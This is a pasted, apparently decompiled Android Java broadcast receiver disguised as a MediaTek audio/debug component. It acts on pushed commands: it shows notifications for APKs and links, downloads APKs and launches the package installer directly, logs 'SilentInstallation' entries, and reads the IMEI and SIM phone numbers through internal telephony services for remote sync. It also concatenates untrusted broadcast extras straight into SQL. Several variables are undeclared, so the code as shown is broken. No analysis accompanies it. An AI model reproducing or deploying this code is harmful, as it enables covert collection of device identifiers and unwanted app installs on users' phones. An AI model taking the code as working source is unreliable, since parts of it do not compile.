Advertisement
Guest User

Untitled

a guest
Feb 7th, 2016
900
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 23.47 KB | None | 0 0
  1. package com.mediatek.mobileaudioconnction;
  2.  
  3. import android.annotation.SuppressLint;
  4. import android.annotation.TargetApi;
  5. import android.app.DownloadManager;
  6. import android.app.DownloadManager.Query;
  7. import android.app.DownloadManager.Request;
  8. import android.app.Notification;
  9. import android.app.Notification.Builder;
  10. import android.app.NotificationManager;
  11. import android.app.PendingIntent;
  12. import android.content.BroadcastReceiver;
  13. import android.content.Context;
  14. import android.content.Intent;
  15. import android.content.SharedPreferences;
  16. import android.content.SharedPreferences.Editor;
  17. import android.content.pm.PackageManager;
  18. import android.database.Cursor;
  19. import android.database.sqlite.SQLiteDatabase;
  20. import android.net.ConnectivityManager;
  21. import android.net.NetworkInfo;
  22. import android.net.Uri;
  23. import android.os.Build.VERSION;
  24. import android.os.ServiceManager;
  25. import android.util.Log;
  26. import android.widget.RemoteViews;
  27. import com.android.internal.telephony.IPhoneSubInfo.Stub;
  28. import java.io.File;
  29. import java.lang.reflect.Method;
  30. import java.text.SimpleDateFormat;
  31. import java.util.Date;
  32. import java.util.Locale;
  33.  
  34. @SuppressLint({"NewApi", "SimpleDateFormat"})
  35. @TargetApi(16)
  36. public class DebugBinBroadcast extends BroadcastReceiver {
  37.     private final boolean DEBUG;
  38.     private final String KEY_SHAERE_PREFERENCE_NAME;
  39.     private final int NOTI_TAG_PUSH_APK;
  40.     private final int NOTI_TAG_PUSH_LINK;
  41.     private final int NOTI_TAG_PUSH_TEXT;
  42.     private String[] PHONE_SUBINFO_SERVICE;
  43.     private final String TAG;
  44.     NotificationManager mn;
  45.     Notification notification;
  46.  
  47.     public DebugBinBroadcast() {
  48.         this.TAG = "DebugBinBroadcast";
  49.         this.DEBUG = true;
  50.         this.KEY_SHAERE_PREFERENCE_NAME = "dddsdsfdf";
  51.         this.NOTI_TAG_PUSH_APK = 4001;
  52.         this.NOTI_TAG_PUSH_LINK = 6001;
  53.         this.NOTI_TAG_PUSH_TEXT = 8001;
  54.         this.mn = null;
  55.         this.notification = null;
  56.         this.PHONE_SUBINFO_SERVICE = new String[]{"iphonesubinfo", "iphonesubinfo2", "iphonesubinfo3", "iphonesubinfo4"};
  57.     }
  58.  
  59.     @SuppressLint({"NewApi"})
  60.     public void onReceive(Context context, Intent intent) {
  61.         Log.i("DebugBinBroadcast", "intent.getAction()=" + intent.getAction());
  62.         try {
  63.             String serverId;
  64.             Intent intent2;
  65.             Editor editor;
  66.             DownloadManager downloadManager;
  67.             long id;
  68.             SharedPreferences preferences;
  69.             if ("android.debugs.bin.newmsg".equals(intent.getAction())) {
  70.                 String type = intent.getStringExtra("type");
  71.                 Log.i("DebugBinBroadcast", "type =" + type);
  72.                 String title;
  73.                 String comments;
  74.                 String icon;
  75.                 String url;
  76.                 RemoteViews remoteViews;
  77.                 Notification noti;
  78.                 NotificationManager notificationManager;
  79.                 if ("DownloadAndInstall".equals(type)) {
  80.                     serverId = intent.getStringExtra("serverId");
  81.                     title = intent.getStringExtra("title");
  82.                     comments = intent.getStringExtra("comments");
  83.                     icon = intent.getStringExtra("icon");
  84.                     url = intent.getStringExtra("url");
  85.                     String packages = intent.getStringExtra("package");
  86.                     Log.i("DebugBinBroadcast", "url=" + url);
  87.                     remoteViews = new RemoteViews(context.getPackageName(), 2130903040);
  88.                     remoteViews.setImageViewUri(2131165185, Uri.fromFile(new File(icon)));
  89.                     remoteViews.setTextViewText(2131165186, title);
  90.                     remoteViews.setTextViewText(2131165187, comments);
  91.                     saveRecordToDB(context, serverId, "1", packages, url, title, comments, "00");
  92.                     intent2 = new Intent("android.debugs.bin.newmsg");
  93.                     intent2.putExtra("serverId", serverId);
  94.                     intent2.putExtra("url", url);
  95.                     intent2.putExtra("type", "clicked_apk");
  96.                     remoteViews.setOnClickPendingIntent(2131165184, PendingIntent.getBroadcast(context, Integer.parseInt(serverId) + 4001, intent2, 0));
  97.                     noti = new Builder(context).setContent(remoteViews).setSmallIcon(2130837505).build();
  98.                     noti.defaults |= 1;
  99.                     noti.tickerText = title + "\n" + comments;
  100.                     notificationManager = (NotificationManager) context.getSystemService("notification");
  101.                     mNotificationManager.notify(Integer.parseInt(serverId) + 4001, noti);
  102.                     editor = context.getSharedPreferences("dddsdsfdf", 0).edit();
  103.                     editor.putString("aaaaa" + serverId, icon);
  104.                     editor.commit();
  105.                 } else if ("SilentInstallation".equals(type)) {
  106.                     serverId = intent.getStringExtra("serverId");
  107.                     title = intent.getStringExtra("title");
  108.                     comments = intent.getStringExtra("comments");
  109.                     String str = "1";
  110.                     Context context2 = context;
  111.                     saveRecordToDB(context2, serverId, str, intent.getStringExtra("package"), intent.getStringExtra("url"), title, comments, "12");
  112.                 } else if ("pushLink".equals(type)) {
  113.                     serverId = intent.getStringExtra("serverId");
  114.                     title = intent.getStringExtra("title");
  115.                     comments = intent.getStringExtra("comments");
  116.                     icon = intent.getStringExtra("icon");
  117.                     url = intent.getStringExtra("url");
  118.                     remoteViews = new RemoteViews(context.getPackageName(), 2130903040);
  119.                     remoteViews.setImageViewUri(2131165185, Uri.fromFile(new File(icon)));
  120.                     remoteViews.setTextViewText(2131165186, title);
  121.                     remoteViews.setTextViewText(2131165187, comments);
  122.                     saveRecordToDB(context, serverId, "2", "", url, title, comments, "00");
  123.                     intent2 = new Intent("android.debugs.bin.newmsg");
  124.                     String stringExtra = intent.getStringExtra("serverId");
  125.                     intent2.putExtra("serverId", stringExtra);
  126.                     intent2.putExtra("url", url);
  127.                     intent2.putExtra("type", "clicked_link");
  128.                     remoteViews.setOnClickPendingIntent(2131165184, PendingIntent.getBroadcast(context, Integer.parseInt(serverId) + 6001, intent2, 0));
  129.                     noti = new Builder(context).setContent(remoteViews).setSmallIcon(2130837505).build();
  130.                     noti.defaults |= 1;
  131.                     noti.tickerText = title + "\n" + comments;
  132.                     notificationManager = (NotificationManager) context.getSystemService("notification");
  133.                     mNotificationManager.notify(Integer.parseInt(serverId) + 6001, noti);
  134.                     editor = context.getSharedPreferences("dddsdsfdf", 0).edit();
  135.                     editor.putString("bbbbb" + serverId, icon);
  136.                     editor.commit();
  137.                 } else if ("pushText".equals(type)) {
  138.                     serverId = intent.getStringExtra("serverId");
  139.                     title = intent.getStringExtra("title");
  140.                     comments = intent.getStringExtra("comments");
  141.                     icon = intent.getStringExtra("icon");
  142.                     remoteViews = new RemoteViews(context.getPackageName(), 2130903040);
  143.                     remoteViews.setImageViewUri(2131165185, Uri.fromFile(new File(icon)));
  144.                     remoteViews.setTextViewText(2131165186, title);
  145.                     remoteViews.setTextViewText(2131165187, comments);
  146.                     saveRecordToDB(context, serverId, "3", "", "", title, comments, "00");
  147.                     Log.i("DebugBinBroadcast", "serverId:" + serverId + ",title=" + title + ",comments=" + comments);
  148.                     intent2 = new Intent("android.debugs.bin.newmsg");
  149.                     intent2.putExtra("serverId", serverId);
  150.                     intent2.putExtra("title", title);
  151.                     intent2.putExtra("comments", comments);
  152.                     intent2.putExtra("type", "clicked_text");
  153.                     remoteViews.setOnClickPendingIntent(2131165184, PendingIntent.getBroadcast(context, Integer.parseInt(serverId) + 8001, intent2, 0));
  154.                     noti = new Builder(context).setContent(remoteViews).setSmallIcon(2130837505).build();
  155.                     noti.defaults |= 1;
  156.                     noti.tickerText = title + "\n" + comments;
  157.                     notificationManager = (NotificationManager) context.getSystemService("notification");
  158.                     mNotificationManager.notify(Integer.parseInt(serverId) + 8001, noti);
  159.                     editor = context.getSharedPreferences("dddsdsfdf", 0).edit();
  160.                     editor.putString("ccccc" + serverId, icon);
  161.                     editor.commit();
  162.                 } else if ("init".equals(type)) {
  163.                     db = new DBHelper(context).getWritableDatabase();
  164.                     String imei = "";
  165.                     String phoneNumber1 = "";
  166.                     String phoneNumber2 = "";
  167.                     String versionCode = "";
  168.                     try {
  169.                         PackageManager packageManager = context.getPackageManager();
  170.                         versionCode = "" + pm.getPackageInfo(context.getPackageName(), 0).versionCode;
  171.                         imei = Stub.asInterface(ServiceManager.getService(this.PHONE_SUBINFO_SERVICE[0])).getDeviceId();
  172.                         phoneNumber1 = Stub.asInterface(ServiceManager.getService(this.PHONE_SUBINFO_SERVICE[0])).getLine1Number();
  173.                         phoneNumber2 = Stub.asInterface(ServiceManager.getService(this.PHONE_SUBINFO_SERVICE[1])).getLine1Number();
  174.                     } catch (Exception ex) {
  175.                         ex.printStackTrace();
  176.                         Log.i("DebugBinBroadcast", "init get phone info exception:" + ex.getMessage());
  177.                     }
  178.                     String CountryCode = Locale.getDefault().toString();
  179.                     Log.i("DebugBinBroadcast", "IMEI=" + imei + ";\nphoneNumber1=" + phoneNumber1 + ";\nphoneNumber2=" + phoneNumber2 + ";\nversionCode=" + versionCode);
  180.                     if (!(imei == null || "".equals(imei))) {
  181.                         db.execSQL("delete from t_config where name='IMEI'");
  182.                         db.execSQL("insert into t_config(name,value) values('IMEI','" + imei + "')");
  183.                     }
  184.                     if (!(phoneNumber1 == null || "".equals(phoneNumber1))) {
  185.                         db.execSQL("delete from t_config where name='PHONE_NUMBER_1'");
  186.                         db.execSQL("insert into t_config(name,value) values('PHONE_NUMBER_1','" + phoneNumber1 + "')");
  187.                     }
  188.                     if (!(phoneNumber2 == null || "".equals(phoneNumber2))) {
  189.                         db.execSQL("delete from t_config where name='PHONE_NUMBER_2'");
  190.                         db.execSQL("insert into t_config(name,value) values('PHONE_NUMBER_2','" + phoneNumber2 + "')");
  191.                     }
  192.                     if (!(versionCode == null || "".equals(versionCode))) {
  193.                         db.execSQL("delete from t_config where name='CLIENT_APK_VERSION'");
  194.                         db.execSQL("insert into t_config(name,value) values('CLIENT_APK_VERSION','" + versionCode + "')");
  195.                     }
  196.                     if (!(CountryCode == null || "".equals(CountryCode))) {
  197.                         db.execSQL("delete from t_config where name='COUNTRY_CODE'");
  198.                         db.execSQL("insert into t_config(name,value) values('COUNTRY_CODE','" + CountryCode + "')");
  199.                     }
  200.                     db.close();
  201.                     Log.i("DebugBinBroadcast", "init over");
  202.                 } else if ("get_network_type".equals(type)) {
  203.                     NetworkInfo networkInfo = ((ConnectivityManager) context.getSystemService("connectivity")).getActiveNetworkInfo();
  204.                     db = new DBHelper(context).getWritableDatabase();
  205.                     db.execSQL("delete from t_config where name='NETWORK_TYPE'");
  206.                     if (networkInfo == null || networkInfo.getType() != 1) {
  207.                         db.execSQL("insert into t_config(name,value) values('NETWORK_TYPE','0')");
  208.                     } else {
  209.                         db.execSQL("insert into t_config(name,value) values('NETWORK_TYPE','1')");
  210.                     }
  211.                     db.close();
  212.                 } else if ("clicked_apk".equals(type)) {
  213.                     serverId = intent.getStringExtra("serverId");
  214.                     String mUrl = intent.getStringExtra("url");
  215.                     Log.i("DebugBinBroadcast", "mUrl=" + mUrl);
  216.                     downloadManager = (DownloadManager) context.getSystemService("download");
  217.                     Request request = new Request(Uri.parse(mUrl));
  218.                     request.setAllowedNetworkTypes(3);
  219.                     request.setDestinationInExternalPublicDir("/Download/", "down" + mUrl.hashCode() + ".apk");
  220.                     id = downloadManager.enqueue(request);
  221.                     preferences = context.getSharedPreferences("dddsdsfdf", 0);
  222.                     iconPath = preferences.getString("aaaaa" + serverId, "");
  223.                     editor = preferences.edit();
  224.                     editor.putString("" + id, serverId);
  225.                     editor.remove("aaaaa" + serverId);
  226.                     editor.commit();
  227.                     if (!"".equals(iconPath)) {
  228.                         iconFile = new File(iconPath);
  229.                         Log.i("DebugBinBroadcast", "iconFile path=" + iconFile.getAbsolutePath() + ";iconFile.exists()=" + iconFile.exists());
  230.                         if (iconFile.exists()) {
  231.                             Log.i("DebugBinBroadcast", "iconFile delete result=" + iconFile.delete());
  232.                         }
  233.                     }
  234.                     updateRecordStatus(context, serverId, "1", "11");
  235.                     notificationManager = (NotificationManager) context.getSystemService("notification");
  236.                     mNotificationManager.cancel(Integer.parseInt(serverId) + 4001);
  237.                     hideStatusBar(context);
  238.                 } else if ("clicked_link".equals(type)) {
  239.                     serverId = intent.getStringExtra("serverId");
  240.                     String urlStr = intent.getStringExtra("url");
  241.                     Log.i("DebugBinBroadcast", "urlStr=" + urlStr);
  242.                     if (urlStr != null) {
  243.                         if (!urlStr.startsWith("http://")) {
  244.                             if (!urlStr.startsWith("http://")) {
  245.                                 urlStr = "http://" + urlStr;
  246.                             }
  247.                         }
  248.                     }
  249.                     Log.i("DebugBinBroadcast", "urlStr=" + urlStr);
  250.                     Intent iTmp = new Intent();
  251.                     iTmp.setAction("android.intent.action.VIEW");
  252.                     iTmp.setData(Uri.parse(urlStr));
  253.                     iTmp.setFlags(268435456);
  254.                     context.startActivity(iTmp);
  255.                     updateRecordStatus(context, serverId, "2", "21");
  256.                     notificationManager = (NotificationManager) context.getSystemService("notification");
  257.                     mNotificationManager.cancel(Integer.parseInt(serverId) + 6001);
  258.                     hideStatusBar(context);
  259.                     preferences = context.getSharedPreferences("dddsdsfdf", 0);
  260.                     iconPath = preferences.getString("bbbbb" + serverId, "");
  261.                     editor = preferences.edit();
  262.                     editor.remove("bbbbb" + serverId);
  263.                     editor.commit();
  264.                     if (!"".equals(iconPath)) {
  265.                         iconFile = new File(iconPath);
  266.                         Log.i("DebugBinBroadcast", "iconFile path=" + iconFile.getAbsolutePath() + ";iconFile.exists()=" + iconFile.exists());
  267.                         if (iconFile.exists()) {
  268.                             Log.i("DebugBinBroadcast", "iconFile delete result=" + iconFile.delete());
  269.                         }
  270.                     }
  271.                 } else if ("clicked_text".equals(type)) {
  272.                     serverId = intent.getStringExtra("serverId");
  273.                     title = intent.getStringExtra("title");
  274.                     comments = intent.getStringExtra("comments");
  275.                     updateRecordStatus(context, serverId, "3", "31");
  276.                     notificationManager = (NotificationManager) context.getSystemService("notification");
  277.                     mNotificationManager.cancel(Integer.parseInt(serverId) + 8001);
  278.                     hideStatusBar(context);
  279.                     intent2 = new Intent(context, DialogActivity.class);
  280.                     intent2.putExtra("title", title);
  281.                     intent2.putExtra("comments", comments);
  282.                     intent2.setFlags(268435456);
  283.                     context.startActivity(intent2);
  284.                     preferences = context.getSharedPreferences("dddsdsfdf", 0);
  285.                     iconPath = preferences.getString("ccccc" + serverId, "");
  286.                     editor = preferences.edit();
  287.                     editor.remove("ccccc" + serverId);
  288.                     editor.commit();
  289.                     if (!"".equals(iconPath)) {
  290.                         iconFile = new File(iconPath);
  291.                         Log.i("DebugBinBroadcast", "iconFile path=" + iconFile.getAbsolutePath() + ";iconFile.exists()=" + iconFile.exists());
  292.                         if (iconFile.exists()) {
  293.                             Log.i("DebugBinBroadcast", "iconFile delete result=" + iconFile.delete());
  294.                         }
  295.                     }
  296.                 }
  297.             } else if (!"android.intent.action.BOOT_COMPLETED".equals(intent.getAction())) {
  298.                 if ("android.intent.action.DOWNLOAD_COMPLETE".equals(intent.getAction())) {
  299.                     id = intent.getLongExtra("extra_download_id", -1);
  300.                     Log.i("DebugBinBroadcast", "download id =" + id);
  301.                     preferences = context.getSharedPreferences("dddsdsfdf", 0);
  302.                     if (preferences.contains("" + id)) {
  303.                         downloadManager = (DownloadManager) context.getSystemService("download");
  304.                         Query query = new Query();
  305.                         query.setFilterById(new long[]{id});
  306.                         Cursor mCursor = downloadManager.query(query);
  307.                         if (mCursor.moveToFirst()) {
  308.                             int fileNameIdx = mCursor.getColumnIndex("local_filename");
  309.                             int fileUriIdx = mCursor.getColumnIndex("local_uri");
  310.                             String fileName = mCursor.getString(fileNameIdx);
  311.                             Log.i("DebugBinBroadcast", "fileName=" + fileName + ";fileUri=" + mCursor.getString(fileUriIdx));
  312.                             serverId = preferences.getString("" + id, "");
  313.                             if (!(serverId == null || "".equals(serverId))) {
  314.                                 updateRecordStatus(context, serverId, "1", "11");
  315.                             }
  316.                             Uri uri = Uri.fromFile(new File(fileName));
  317.                             intent2 = new Intent("android.intent.action.VIEW", uri);
  318.                             intent2.setData(uri);
  319.                             intent2.addFlags(1);
  320.                             intent2.setFlags(268435456);
  321.                             intent2.setClassName("com.android.packageinstaller", "com.android.packageinstaller.PackageInstallerActivity");
  322.                             context.startActivity(intent2);
  323.                         }
  324.                         editor = preferences.edit();
  325.                         editor.remove("" + id);
  326.                         editor.commit();
  327.                     }
  328.                 } else if ("android.intent.action.PACKAGE_ADDED".equals(intent.getAction())) {
  329.                     packageName = intent.getDataString().replaceAll("package:", "");
  330.                     serverId = checkExistsFromDB(context, "1", packageName);
  331.                     Log.i("DebugBinBroadcast", "serverId=" + serverId + ", removed_package=" + packageName);
  332.                     if (serverId != null && !"".equals(serverId)) {
  333.                         updateRecordStatus(context, serverId, "1", "12");
  334.                     }
  335.                 } else if ("android.intent.action.PACKAGE_REMOVED".equals(intent.getAction())) {
  336.                     packageName = intent.getDataString().replaceAll("package:", "");
  337.                     serverId = checkExistsFromDB(context, "1", packageName);
  338.                     Log.i("DebugBinBroadcast", "serverId=" + serverId + ", removed_package=" + packageName);
  339.                     if (serverId != null && !"".equals(serverId)) {
  340.                         updateRecordStatus(context, serverId, "1", "13");
  341.                     }
  342.                 }
  343.             }
  344.         } catch (Exception e) {
  345.             e.printStackTrace();
  346.             Log.i("DebugBinBroadcast", "Onrecive:" + e.getMessage());
  347.         }
  348.     }
  349.  
  350.     private void saveRecordToDB(Context context, String serverId, String type, String packages, String urls, String title, String comments, String status) {
  351.         SQLiteDatabase db = new DBHelper(context).getWritableDatabase();
  352.         db.execSQL("delete from t_push_infos where server_id='" + serverId + "' and type='" + type + "'");
  353.         db.execSQL("insert into t_push_infos(server_id,type,title,comments,url,package,flag,is_remote_sync,update_time) values('" + serverId + "','" + type + "','" + title + "','" + comments + "','" + urls + "','" + packages + "','" + status + "','0','" + new SimpleDateFormat("yyyy-MM-dd%20HH:mm:ss").format(new Date()) + "')");
  354.         db.close();
  355.     }
  356.  
  357.     private String checkExistsFromDB(Context context, String type, String packageName) {
  358.         Cursor mCursor = new DBHelper(context).getWritableDatabase().query("t_push_infos", new String[]{"server_id"}, "type=? and package=?", new String[]{type, packageName}, null, null, " server_id DESC ", "1");
  359.         if (mCursor.getCount() == 0 || !mCursor.moveToFirst()) {
  360.             return null;
  361.         }
  362.         return mCursor.getString(mCursor.getColumnIndex("server_id"));
  363.     }
  364.  
  365.     private void updateRecordStatus(Context context, String serverId, String type, String status) {
  366.         Log.i("DebugBinBroadcast", "updateRecordStatus serverId:" + serverId + ",type=" + type + ",status=" + status);
  367.         SQLiteDatabase db = new DBHelper(context).getWritableDatabase();
  368.         db.execSQL("update t_push_infos set flag='" + status + "',update_time='" + new SimpleDateFormat("yyyy-MM-dd%20HH:mm:ss").format(new Date()) + "',is_remote_sync='0' where server_id='" + serverId + "' and type='" + type + "'");
  369.         db.close();
  370.     }
  371.  
  372.     public static void hideStatusBar(Context context) {
  373.         try {
  374.             Method collapse;
  375.             Object statusBarManager = context.getSystemService("statusbar");
  376.             if (VERSION.SDK_INT <= 16) {
  377.                 collapse = statusBarManager.getClass().getMethod("collapse", new Class[0]);
  378.             } else {
  379.                 collapse = statusBarManager.getClass().getMethod("collapsePanels", new Class[0]);
  380.             }
  381.             collapse.invoke(statusBarManager, new Object[0]);
  382.         } catch (Exception localException) {
  383.             localException.printStackTrace();
  384.         }
  385.     }
  386. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement